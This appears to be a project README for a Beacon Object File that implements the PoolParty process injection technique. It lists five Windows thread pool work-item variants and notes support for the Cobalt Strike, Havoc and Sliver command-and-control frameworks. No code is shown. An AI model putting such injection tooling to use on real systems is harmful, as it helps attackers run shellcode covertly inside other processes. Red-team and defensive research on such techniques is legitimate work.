A beacon object file implementation of PoolParty Process Injection Technique by @SafeBreach and @0xDeku, that abuses Windows Thread Pools. The BOF supports the 5 technique/variant:
- Insert TP_IO work item to the target process's thread pool.
- Insert TP_ALPC work item to the target process's thread pool.
- Insert TP_JOB work item to the target process's thread pool.
- Insert TP_DIRECT work item to the target process's thread pool.
- Insert TP_TIMER work item to the target process's thread pool.
I will try to keep adding remaining variants.

The BOF can be further used with Process Injection Hooks provided within Cobaltstrike, and Rastamouse has a perfect blog too.
Added Havoc BOF support. You are welcome to open an issue, if something doesn't work. For sliver C2 it partially works, but Somehow the remote process crashes when executed the shellcode.
